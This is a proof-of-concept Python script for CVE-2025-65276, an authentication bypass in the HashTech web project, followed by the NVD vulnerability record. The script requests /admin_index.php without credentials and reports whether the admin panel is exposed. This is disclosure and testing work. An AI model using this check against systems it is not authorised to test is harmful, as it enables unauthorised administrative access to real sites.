CVE-2025-65276

#!/usr/bin/env python3 """ CVE-2025-65276 PoC - HashTech Unauthenticated Admin Access This PoC demonstrates the authentication bypass vulnerability in HashTech project where /admin_index.php can be accessed without any credentials. """ import requests import sys def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-65276 """ # Target the admin_index.php page directly admin_path = "/admin_index.php" vuln_url = target_url.rstrip('/') + admin_path headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' } print(f"[*] Testing target: {vuln_url}") try: # Send request without any authentication cookies response = requests.get(vuln_url, headers=headers, timeout=10, verify=False) # Check if we got admin access (status 200 and contains admin indicators) if response.status_code == 200: admin_indicators = ['dashboard', 'admin', 'user management', 'orders', 'products', 'settings'] response_lower = response.text.lower() if any(indicator in response_lower for indicator in admin_indicators): print("[!] VULNERABLE: Admin panel accessible without authentication!") print(f"[!] Received response with length: {len(response.text)} bytes") print("[!] Full administrative control possible") return True print("[*] Target may not be vulnerable or admin page not found") print(f"[*] Response status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-65276-poc.py <target_url>") print("Example: python3 cve-2025-65276-poc.py http://192.168.1.100/hashtech") sys.exit(1) target = sys.argv[1] check_vulnerability(target) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-65276", "sourceIdentifier": "[email protected]", "published": "2025-11-26T20:15:49.660", "lastModified": "2025-12-30T15:34:16.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated administrative access vulnerability exists in the open-source HashTech project (https://github.com/henzljw/hashtech) 1.0 thru commit 5919decaff2681dc250e934814fc3a35f6093ee5 (2021-07-02). Due to missing authentication checks on /admin_index.php, an attacker can directly access the admin dashboard without valid credentials. This allows full administrative control including viewing/modifying user accounts, managing orders, changing payments, and editing product listings. Successful exploitation can lead to information disclosure, data manipulation, and privilege escalation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:henzljw:hashtech:*:*:*:*:*:*:*:*", "versionEndIncluding": "2021-07-02", "matchCriteriaId": "BEB49649-CE3A-40D3-A3DE-81293E8D2098"}]}]}], "references": [{"url": "https://gist.github.com/whoisrushi/c3bfcd1adf96d80952edbd03d0310836", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gist.github.com/whoisrushi/c3bfcd1adf96d80952edbd03d0310836", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}]}}